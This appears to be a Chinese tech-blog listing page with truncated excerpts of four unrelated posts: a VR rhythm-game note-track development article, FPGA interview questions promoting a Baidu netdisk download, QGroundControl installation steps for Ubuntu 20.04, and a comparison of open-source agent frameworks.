VR音游音符轨道系统开发实录与原理解析 在 VR 音游的开发过程中,音符轨道系统是最核心的交互与可视化部分。本文结合一次完整的开发实录,分享从核心原理与设计到VR内容构建的完整过程,帮助读者快速理解音符轨道系统的实现思路。 文章目录 * VR音游音符轨道系统开发实录与原理解析 * 一、实录结果 * 二、VR内容开发步骤 * 1. 准备音符与交互逻辑 * 2. 创建谱面 * 3. 绘制音轨 * 4. 预制件与音频替换 * 三、原理解析(音符轨道系统) * 1. 音符轨道(Note Track) * 2. 轨迹调节与偏移控制 * 3. 音符触摸激活 * 4. 谱面编辑工具(Editor 功能) * 四、总结与展望 * 1. 成果回顾:从零到一的核心突破 * 2. 技术总结:核心设计理念 * 3. 开发难点与问题反思 * 4. 优化策略与改进方向 * 5.

FPGA面试题汇总整理(一)

https://pan.baidu.com/s/1rDsLAXGj8WbX82teSkhuIw?pwd=1234 这份FPGA 系统学习详细资料包是个人花大量时间精心整理的,超多干货全覆盖,从基础到实战一站式搞定,不用再到处薅资料!网盘链接随时可能失效,提取码 1234,先保存再学习,别等失效拍大腿!🔗链接:https://pan.baidu.com/s/1rDsLAXGj8WbX82teSkhuIw?pwd=1234 ———————————————— 前言:社招FPGA面试核心考察「基础功底+项目经验+问题解决能力」,以下100个问题覆盖面试90%高频考点,按「基础概念→编程语法→时序分析→架构设计→调试优化→项目实操→行业拓展」分类,每个问题附详细解答(适配自媒体干货属性,可直接复制使用,重点内容加粗标注),帮你高效备战,避免踩坑。 一、

无人机地面站QGC的安装(ubuntu20.04)

无人机地面站QGC的安装(ubuntu20.04) 1.安装依赖 使用以下命令: sudo usermod -a -G dialout $USER sudo apt-get remove modemmanager -y sudo apt install gstreamer1.0-plugins-bad gstreamer1.0-libav gstreamer1.0-gl -y sudo apt install libfuse2 -y sudo apt install libxcb-xinerama0 libxkbcommon-x11-0 libxcb-cursor0 -y 2.下载安装包 可以直接去官网下载,链接地址:https://docs.qgroundcontrol.com/master/en/qgc-user-guide/

带可二次开发的管理配置端 + 非低代码 + 原生支持标准化 Skill框架选择

「带可二次开发的管理配置端 + 非低代码 + 原生支持标准化 Skill」的开源 Agent 框架,筛选 3款完全匹配的框架(均为代码级可扩展、自带 Skill 管理后台、支持 SKILL.md/MCP 标准),附核心特性、二次开发要点和部署步骤,都是企业级/开发者友好的选型: 一、首选:LangGraph + LangServe(LangChain 官方生态,Python 栈,极致可扩展) 核心定位 LangChain 官方推出的「Agent 编排 + 服务化」框架,自带可二次开发的 Skill/Tool 管理后台(LangServe Dashboard),纯代码开发、无低代码封装,是 Python 生态的最佳选择。 关键特性